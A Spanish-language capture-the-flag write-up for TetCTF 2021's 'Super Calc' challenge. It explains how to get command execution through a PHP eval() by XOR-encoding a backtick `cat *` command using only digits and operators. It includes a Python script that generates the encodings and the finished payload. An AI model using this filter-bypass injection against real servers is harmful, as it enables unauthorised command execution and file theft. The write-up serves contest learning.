Tags: web command_injection php xor 

Rating:

# Super Calc

**Info**: Let try on the next-generation, the superior Calculator that support many operations, made with love ❤ *(http://challenge/?calc=(1.2–0.2)5.1)*

Este reto es similar a [otro de esta misma competición](https://ctftime.org/writeup/25614), aunque el procedimiento para resolverlo no sea el mismo.

Al acceder a la web, se puede observar el siguiente texto:

> Result: 5.1

Si recargamos la página sin parámetros, nos muestra su código fuente:

```php
70) {
die("Tired of calculating? Lets relax <3");
}
echo 'Result: ';
eval("echo ".eval("return ".$_GET["calc"].";").";");
}
```

Ya de primeras se aprecia que la estructura es semejante a la de **HPNY**, pero en este caso sólo acepta números y operadores como argumentos. La cosa es… ¿cómo se pueden ejecutar comandos sin usar letras?

Antes de nada, hay que entender que PHP es bastante vago al analizar las variables y sus tipos. Esto nos permite hacer operaciones como tan curiosas como las siguientes:

![polimorfismo](https://miro.medium.com/max/179/1*aZfuLKnReAMMmn_id1x38g.png)

¿Y cuál es el tipo de operación más usada al ofuscar comandos?

> La respuesta es XOR. ¿Te suena de algo?

XOR es un tipo de operación lógica con la que podemos, como con la mayoría de las operaciones, obtener un valor gracias a otros dos. Lo bueno es que es reversible. Es decir, sabiendo dos valores, podemos obtener el tercero fácilmente.
Por ejemplo: imaginemos que necesitásemos una U para resolver el reto, pero sólo podemos usar operadores y números. Pues bien, podemos hacer lo siguiente: `'+' ^ '~' = 'U`', que se puede deducir de hacer `'+' ^ 'U' = '~'` o `'~' ^ 'U' = '+'`.

Una vez entendido esto, vamos a resolver el reto. La aproximación más sencilla será leer todos los archivos de la carpeta con la esperanza de encontrar la flag. El comando más corto que he encontrado ha sido ``` `cat*` ```, que es lo mismo que ejecutar `shell_exec('cat *')`.

Intentar calcular la operación XOR a mano es un trabajo tedioso, para ello se puede usar el siguiente [script de devploit](https://raw.githubusercontent.com/devploit/XORpass/master/xorpass.py) o montarse un script propio:

```py
#!/usr/bin/env python3
# TetCTF ~ Super Calc

import sys

valid = "0123456789+-*/().~&|^"

# Checks
def check(r,o):
if len(r) != len(o):
print("No combinations")
exit()

# Calculate valid xor operation
def xor(expected, valid):
a,b = str(), str()
for e in expected:
for v in valid:
r = chr(ord(e) ^ ord(v))
if r in valid:
a += r
b += v
break
return a,b

# Chech if there are some arg
if len(sys.argv) >= 2:
# Calc function
a,b = xor(sys.argv[1], valid)
check(a,sys.argv[1])
c = f"('{a}'^'{b}')"
# Show result
print(f"{sys.argv[1]} [{len(c)}] => {c}")
else:
print(f"Usage: ./{sys.argv[0]} input") 
```

En el caso de que con dos combinaciones no podamos obtener la letra deseada, habrá que concatenar varias operaciones. Después de realizar el proceso, el comando ``` `cat *` ``` quedaría como algo similar a esto:

`('**'^'~~'^'47').('8'^'^'^'7'^'0').('^~'^'*^').('*'^'~'^'4')`

Esta es una posible combinación, pero no es la única.

Ahora sólo queda ejecutarlo como parámetro. Como es posible que la flag esté en un comentario u oculto de alguna manera no visible, recomiendo inspeccionar el código fuente de la respuesta:

![flag](https://miro.medium.com/max/700/1*UCqZOZUZjLaNfcuT9J_DCw.png)

**¡Ahí está la flag!**

Original writeup (https://kikefontan.medium.com/tetctf-2021-1430c27c1143).